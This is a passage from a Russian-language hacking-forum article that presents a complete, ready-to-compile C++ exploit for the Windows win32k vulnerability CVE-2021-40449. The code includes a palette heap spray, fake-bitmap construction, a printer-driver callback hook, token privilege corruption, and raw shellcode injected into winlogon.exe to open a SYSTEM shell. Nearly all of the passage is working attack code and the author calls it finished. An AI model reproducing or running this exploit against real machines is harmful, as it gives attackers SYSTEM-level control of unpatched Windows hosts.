Как я уже говорил ранее, мы можем контролировать не только размер но и контент палеток. Используя эту возможность, в местах помеченных цифрами 1 и 2 мы устанавливаем в палетку указатель на фейковый битмап и указатель на функцию RtlSetAllBits.

Насталов время для вызова уязвимости:
C++:
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }
 
flag = true;
ResetDCW(hdc, NULL);
 
Sleep(1000);

Теперь, после изменения токена, мы можен инжектировать шеллкод в память процесса winlogon.exe. Вот функция Inject():
C++:
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

int Inject() {
    PROCESSENTRY32 processEntry;
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    int pid = 0;
    if (Process32First(snap, &processEntry)) {
        while (Process32Next(snap, &processEntry)) {
            if (wcscmp(processEntry.szExeFile, L"winlogon.exe") == 0) {
                pid = processEntry.th32ProcessID;
                break;
            }
        }
    }

    if (pid == 0) {
        printf("[!] Can't find winlogon.exe\n");
        exit(-1);
    }
    CloseHandle(snap);

    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (process == NULL) {
        printf("[!] Can't open winlogon.exe\n");
        exit(-1);
    }

    LPVOID payload = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (payload == NULL) {
        printf("[!] Can't alloc memory in winlogon.exe\n");
        exit(-1);
    }

    WriteProcessMemory(process, payload, shellcode, sizeof(shellcode), 0);
    CreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)payload, 0, 0, 0);

    printf("[+] Enjoy system shell!\n");

    return 0;
}

Вот полный, итоговый код эксплойта:
inc.h:
C++:
#include <Windows.h>

#define SystemHandleInformation         0x10
#define ThreadNameInformation           0x26
#define SystemBigPoolInformation        0x42

typedef struct
{
    DWORD64 Address;
    DWORD64 PoolSize;
    CHAR PoolTag[4];
    CHAR Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;

typedef struct _hookData
{
    ULONG index;
    LPVOID func;
} hookData;

typedef BOOL(*_DrvEnableDriver)(
    ULONG iEngineVersion,
    ULONG cj,
    DRVENABLEDATA* pded);

typedef DHPDEV(*_DrvEnablePDEV)(
    DEVMODEW* pdm,
    LPWSTR pwszLogAddress,
    ULONG cPat,
    HSURF* phsurfPatterns,
    ULONG cjCaps,
    ULONG* pdevcaps,
    ULONG cjDevInfo,
    DEVINFO* pdi,
    HDEV hdev,
    LPWSTR pwszDeviceName,
    HANDLE hDriver);

typedef VOID(*_VoidFunc)();

typedef NTSTATUS(*_NtSetInformationThread)(
    HANDLE threadHandle,
    THREADINFOCLASS threadInformationClass,
    PVOID threadInformation,
    ULONG threadInformationLength);

typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

main.cpp:
C++:
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <Psapi.h>
#include <winternl.h>
#include <winddi.h>
#include "inc.h"

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

_NtQuerySystemInformation fnNtQuerySystemInformation;
_NtSetInformationThread fnNtSetInformationThread;

_VoidFunc origFuncs[INDEX_LAST];
HDC hdc;
DWORD64 fnRtlSetAllBits;
DWORD64 fakeBitmap;
LPWSTR printerName;
int pid;
BOOL flag = false;

DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
    DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
  
    if (flag) {
        flag = false;

        printf("[*] Triggering vulnerability\n");
        HDC loc_hdc = ResetDCW(hdc, NULL);
      
        printf("[+] Now spray\n");
        int size = 0xe20;
        int palette_entry_count = (size - 0x90) / 4;

        int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
        LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
        DWORD64* ptr = (DWORD64*)((DWORD64)lPalette + 4);

        for (int i = 0; i < 0x120; i++) { ptr[i] = fakeBitmap; }
        for (int i = 0x120; i < (palette_size - 4) / 8; i++) { ptr[i] = fnRtlSetAllBits; }

        lPalette->palNumEntries = (WORD)palette_entry_count;
        lPalette->palVersion = 0x300;

        for (int i = 0; i < 0x5000; i++) { CreatePalette(lPalette); }

        printf("[+] Spray is done\n");
    }

    return ret;
}

hookData hooks[] = {
    {INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};

int Inject() {
    PROCESSENTRY32 processEntry;
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    int pid = 0;
    if (Process32First(snap, &processEntry)) {
        while (Process32Next(snap, &processEntry)) {
            if (wcscmp(processEntry.szExeFile, L"winlogon.exe") == 0) {
                pid = processEntry.th32ProcessID;
                break;
            }
        }
    }

    if (pid == 0) {
        printf("[!] Can't find winlogon.exe\n");
        exit(-1);
    }
    CloseHandle(snap);

    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (process == NULL) {
        printf("[!] Can't open winlogon.exe\n");
        exit(-1);
    }

    LPVOID payload = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (payload == NULL) {
        printf("[!] Can't alloc memory in winlogon.exe\n");
        exit(-1);
    }

    WriteProcessMemory(process, payload, shellcode, sizeof(shellcode), 0);
    CreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)payload, 0, 0, 0);

    printf("[+] Enjoy system shell!\n");

    return 0;
}

DWORD64 PtrFromHandle(HANDLE handle, DWORD type) {
    PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);

    ULONG returnLength = 0x20;
    fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength);

    free(handleInfo);
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(returnLength);
    fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength);

    for (int i = 0; i < handleInfo->NumberOfHandles; i++) {
        if (handleInfo->Handles[i].UniqueProcessId = pid && handleInfo->Handles[i].ObjectTypeIndex == type && handle == (HANDLE)handleInfo->Handles[i].HandleValue) {
            DWORD64 ptr = (DWORD64)handleInfo->Handles[i].Object;
            free(handleInfo);
            return ptr;
        }
    }

    free(handleInfo);
    return 0;
}

BOOL SetUpHook() {
    DWORD pcbNeeded, pcbRet;
    EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
    if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }

    PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
    if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
        printf("[!] Can't enum printers!\n");
        exit(-1);
    }
  
    PRINTER_INFO_4W* info;
    HANDLE printer;
    HMODULE driver;
    DRIVER_INFO_2W* driverInfo;
    _DrvEnableDriver DrvEnableDriver;
    _VoidFunc DrvDisableDriver;
    DRVENABLEDATA drvEnableData;
    DWORD oldProtect, _oldProtect;
    for (int i = 0; i < pcbRet; i++) {
        info = &printerEnum[i];
        printf("[*] Printer: %ws\n", info->pPrinterName);

        if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
            printf("    --- Can't open printer!\n");
            continue;
        } else {
            printf("    --> Opened printer!\n");
        }
        printerName = _wcsdup(info->pPrinterName);
      
        GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
        driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
        if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
            printf("    --- Can't get printer driver\n");
            continue;
        } else {
            printf("    --> Got printer driver: %ws\n", driverInfo->pDriverPath);
        }

        driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
        if (driver == NULL) { printf("    --- Can't load printer driver\n"); continue; }
        else { printf("    --> Loaded driver!\n"); }

        DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
        DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");

        if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
            printf("    --- Can't enable driver!\n");
            continue;
        } else {
            printf("    --> Enabled driver!\n");
        }

        if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
            printf("    --- Can't unprotect priver callback table\n");
            continue;
        }

        for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
            for (int n = 0; n < drvEnableData.c; n++) {
                ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
                if (hooks[i].index == iFunc) {
                    origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
                    drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
                    break;
                }
            }
        }

        DrvDisableDriver();
        VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
        return true;
    }
    return false;
}

int main() {
    printf("[*] Starting exploit for CVE-2021-40449 Windows 10.0.17763.1757\n");

    pid = GetCurrentProcessId();
    printf("[*] Current process pid: %i\n", pid);
    HMODULE nt = LoadLibraryA("ntdll.dll");
    HMODULE kernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);

    ULONG lpcbNeeded;
    EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
    DWORD64* drivers = (DWORD64*)malloc(lpcbNeeded);
    if (!EnumDeviceDrivers((LPVOID*)drivers, lpcbNeeded, &lpcbNeeded)) {
        printf("[!] Can't get kernel address, EnumDeviceDrivers() error!\n");
        return 1;
    }
    DWORD64 kernelAddr = drivers[0]; // it's ntoskrnl.exe
    free(drivers);
    printf("[+] Got kernel address: 0x%llx\n", kernelAddr);

    fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(nt, "NtQuerySystemInformation");
    fnNtSetInformationThread = (_NtSetInformationThread)GetProcAddress(nt, "NtSetInformationThread");
    DWORD64 offRtlSetAllBits = (DWORD64)GetProcAddress(kernel, "RtlSetAllBits");
    fnRtlSetAllBits = (DWORD64)kernelAddr + offRtlSetAllBits - (DWORD64)kernel;
    printf("[+] Got needed function addresses: \n    --> NtQuerySystemInformation: 0x%llx\n    --> NtSetInformationThread: 0x%llx\n    --> RtlSetAllBits: 0x%llx\n", (DWORD64)fnNtQuerySystemInformation, (DWORD64)fnNtSetInformationThread, (DWORD64)fnRtlSetAllBits);

    HANDLE token;
    DWORD64 tokenAddress = 0;
    HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
    if (process == NULL) { printf("[!] Can't open current process\n"); return 1; }
    if (!OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[!] Can't open current process token\n"); return 1; }
    for (int i = 0; i < 0x100; i++) {
        tokenAddress = PtrFromHandle(token, 0x5);
        if (tokenAddress != 0) { printf("[+] Current process token address: 0x%llx\n", tokenAddress); break; }
    }

    //Creating fake bitmap
    DWORD threadId;
    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &threadId);
    LPVOID buf = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    memset(buf, 0x41, 0x20);
    *(DWORD64*)buf = 0x80;
    *(DWORD64*)((DWORD64)buf + 8) = (tokenAddress + 0x40);
    UNICODE_STRING payload = {};
    payload.Buffer = (PWSTR)buf;
    payload.Length = 0x1000;
    payload.MaximumLength = 0xffff;
    DWORD outSize;
    DWORD size = 1024 * 1024;
    LPVOID infoBuf = LocalAlloc(LPTR, size);
    bool found = false;

    fnNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &payload, 0x10);
    fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, infoBuf, size, &outSize);

    PBIG_POOL_INFO info;
    ULONG_PTR start = (ULONG_PTR)infoBuf + 8;
    ULONG_PTR end = start + *((PDWORD)infoBuf) * sizeof(BIG_POOL_INFO);
    while (start < end) {
        info = (PBIG_POOL_INFO)start;
        if (strncmp(info->PoolTag, "ThNm", 4) == 0 && info->PoolSize == (payload.Length + sizeof(UNICODE_STRING))) {
            fakeBitmap = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
            found = true;
            break;
        }
        start += sizeof(BIG_POOL_INFO);
    }
    if (found == false) {
        printf("[!] Can't leak address of fake bitmap!\n");
        return 1;
    }
    else {
        printf("[+] Created fake bitmap at: 0x%llx\n", fakeBitmap);
    }
  
    // Setting up a hook
    if(!SetUpHook()) {
        printf("[!] Couldn't hook function!\n");
        return 1;
    } else {
        printf("[+] Hooked a function!\n");
    }

    hdc = CreateDCW(NULL, printerName, NULL, NULL);
    if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }

    flag = true;
    ResetDCW(hdc, NULL);

    Sleep(1000);
    printf("[*] Injecting to winlogon.exe\n");
    Inject();

    return 0;
}

Эксплоит готов, осталось проверить!

Проверяем эксплоит
Чтобы не раздувать число символов, я записал видео:


Ссылки
Microsoft
: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449
Анализы CVE-2021-40449:
Kaspersky: https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/
ThreadName техника: https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/
Мои прошлые статьи:
https://xss.pro/threads/52570
https://xss.pro/threads/58402/

Итоги
Вот такая новогодняя статья у меня получилась, надеюсь оцените. Если у вас будут вопросы - пишите в теме, или в пм, буду рад подсказать. Как я понял по количеству реакций под прошлыми статьями, тема эксплуатации ядра Windows интересная и актуальная, постараюсь писать больше содержательных статей!

Архив с комплектом win32k, я приложил прямо тут - внизу. А iso образ windows, залил на мегу (пароль местный):

Спасибо за прочтение,
Azrv3l cпециально для xss.pro
 

Вложения

  • win32k.zip
    4.8 МБ · Просмотры: 22
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх